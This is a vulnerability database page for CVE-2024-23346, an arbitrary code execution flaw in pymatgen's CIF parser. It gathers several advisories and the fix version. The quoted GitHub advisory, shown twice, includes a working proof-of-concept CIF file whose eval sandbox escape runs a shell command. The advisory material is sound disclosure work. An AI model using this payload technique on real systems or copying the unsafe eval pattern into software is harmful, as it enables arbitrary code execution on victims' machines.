Every CVE Search/ Get API key

CVE-2024-23346

pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string

9.4 CriticalPublic exploitFix available

Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

3.85%Up 3.8 points since Feb 22, 2024
90%50%10%1%

What each source reports

CVE List Score used 9.4

pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string

Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.

Record
CVE-2024-23346
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
EUVDEUVD-2024-0203 9.4

Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.

Record
EUVD-2024-0203
CVSS 3.1
9.4 CriticalCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-vgv8-5cpj-qj2f 9.3

pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string

Summary

A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.

Details

The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of eval().

Vulnerable code

basis_change = [
    re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
    for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])

The use of eval, even with __builtins__ set to None, is still a security risk. The BuiltinImporter class can be recovered with subclass traversal.

PoC

The vulnerability can be exploited as follows:

Create a file vuln.cif with the following contents:

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Then, parse the cif file with the following code:

from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()

Credits

This vulnerability was found and disclosed by William Khem-Marquez.

Record
GHSA-vgv8-5cpj-qj2f
CVSS 3.1
9.3 CriticalCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
NVD 9.3

Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.

Record
CVE-2024-23346
CVSS 3.1
9.3 CriticalCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
OSV 9.3

pymatgen arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string

Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.

Record
CVE-2024-23346
CVSS 3.1
9.3 CriticalCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
OSVDEBIAN-CVE-2024-23346 7.8

Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.

Record
DEBIAN-CVE-2024-23346
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVGHSA-vgv8-5cpj-qj2f 9.3

pymatgen vulnerable to arbitrary code execution when parsing a maliciously crafted JonesFaithfulTransformation transformation_string

Summary

A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. This can be exploited when parsing a maliciously-created CIF file.

Details

The cause of the vulnerability is in pymatgen/symmetry/settings.py#L97C1-L111C108. The flawed code segment involves a regular expression operation followed by the use of eval().

Vulnerable code

basis_change = [
    re.sub(r"(?<=\w|\))(?=\() | (?<=\))(?=\w) | (?<=(\d|a|b|c))(?=([abc]))", r"*", string, flags=re.X)
    for string in basis_change
]
"""snip"""
([eval(x, {"__builtins__": None}, {"a": a, "b": b, "c": c}) for x in basis_change])

The use of eval, even with __builtins__ set to None, is still a security risk. The BuiltinImporter class can be recovered with subclass traversal.

PoC

The vulnerability can be exploited as follows:

Create a file vuln.cif with the following contents:

data_5yOhtAoR
_audit_creation_date            2018-06-08
_audit_creation_method          "Pymatgen CIF Parser Arbitrary Code Execution Exploit"

loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("touch pwned");0,0,0'


_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Then, parse the cif file with the following code:

from pymatgen.io.cif import CifParser
parser = CifParser("vuln.cif")
structure = parser.parse_structures()

Credits

This vulnerability was found and disclosed by William Khem-Marquez.

Record
GHSA-vgv8-5cpj-qj2f
CVSS 3.1
9.3 CriticalCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
OSVPYSEC-2024-226 7.8

Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.

Record
PYSEC-2024-226
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2024-23346 9.3

Pymatgen (Python Materials Genomics) is an open-source Python library for materials analysis. A critical security vulnerability exists in the JonesFaithfulTransformation.from_transformation_str() method within the pymatgen library prior to version 2024.2.20. This method insecurely utilizes eval() for processing input, enabling execution of arbitrary code when parsing untrusted input. Version 2024.2.20 fixes this issue.

Record
UBUNTU-CVE-2024-23346
CVSS 3.1
9.3 CriticalCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS 3.1
7.8 HighCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pymatgen
PyPI
before 2024.2.20
2024.2.20
pymatgen
Debian:12
before 2022.11.7+dfsg1-11+deb12u1, plus listed versions
2022.11.7+dfsg1-11
2022.11.7+dfsg1-11+deb12u1
pymatgen
Debian:13
before 2024.1.27+dfsg1-6
2024.1.27+dfsg1-6
pymatgen
PyPI
before 2024.2.20, plus listed versions
1.0.41.0.51.1.01.1.11.1.2
Show 45 moreShow less
1.2.01.2.11.2.21.2.31.2.41.2.81.2.91.5.01.6.01.7.01.7.21.8.01.8.21.8.31.9.02.0.02.1.02.1.22.10.02.10.12.10.22.10.32.10.42.10.52.10.62.2.02.2.12.2.22.2.32.2.42.2.62.3.02.3.12.3.22.4.02.4.12.4.22.4.32.5.02.5.12.5.22.5.32.5.42.5.52.6.1
2024.2.20
pymatgen
PyPI
before 2024.2.20, plus listed versions
1.0.41.0.51.1.01.1.11.1.2
Show 45 moreShow less
1.2.01.2.11.2.21.2.31.2.41.2.81.2.91.5.01.6.01.7.01.7.21.8.01.8.21.8.31.9.02.0.02.1.02.1.22.10.02.10.12.10.22.10.32.10.42.10.52.10.62.2.02.2.12.2.22.2.32.2.42.2.62.3.02.3.12.3.22.4.02.4.12.4.22.4.32.5.02.5.12.5.22.5.32.5.42.5.52.6.1
2024.2.20
pymatgen
Ubuntu:22.04:LTS
All versions, plus listed versions
2022.0.14+dfsg1-12022.0.16+dfsg1-12022.0.17+dfsg1-12022.0.17+dfsg1-1build1
None known

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
Exploit-DBPymatgen 2024.1 - Remote Code Execution (RCE)2025-04-15
PoC in GitHub9carlo6/CVE-2024-233462024-11-05
PoC in GitHubDAVIDAROCA27/CVE-2024-23346-exploit2025-07-24
PoC in GitHubMAWK0235/CVE-2024-233462024-12-09
PoC in GitHubSanity-Archive/CVE-2024-233462025-02-20
PoC in GitHubszyth/CVE-2024-23346-rust-exploit2025-02-25

History

History
RecordedChangedSources
aliases, publishedEUVD
first indexedCVE List, Exploit-DB, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-23346 is a critical vulnerability (CVSS 9.4) in Materialsproject Pymatgen, published February 21, 2024. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 3.85%, the 90th percentile. Fixed in pymatgen 2024.2.20.

References

Show 6 moreShow less
This page doesn't list everything

Left out here: 854 versions. The JSON record has them.

MoveEnter Open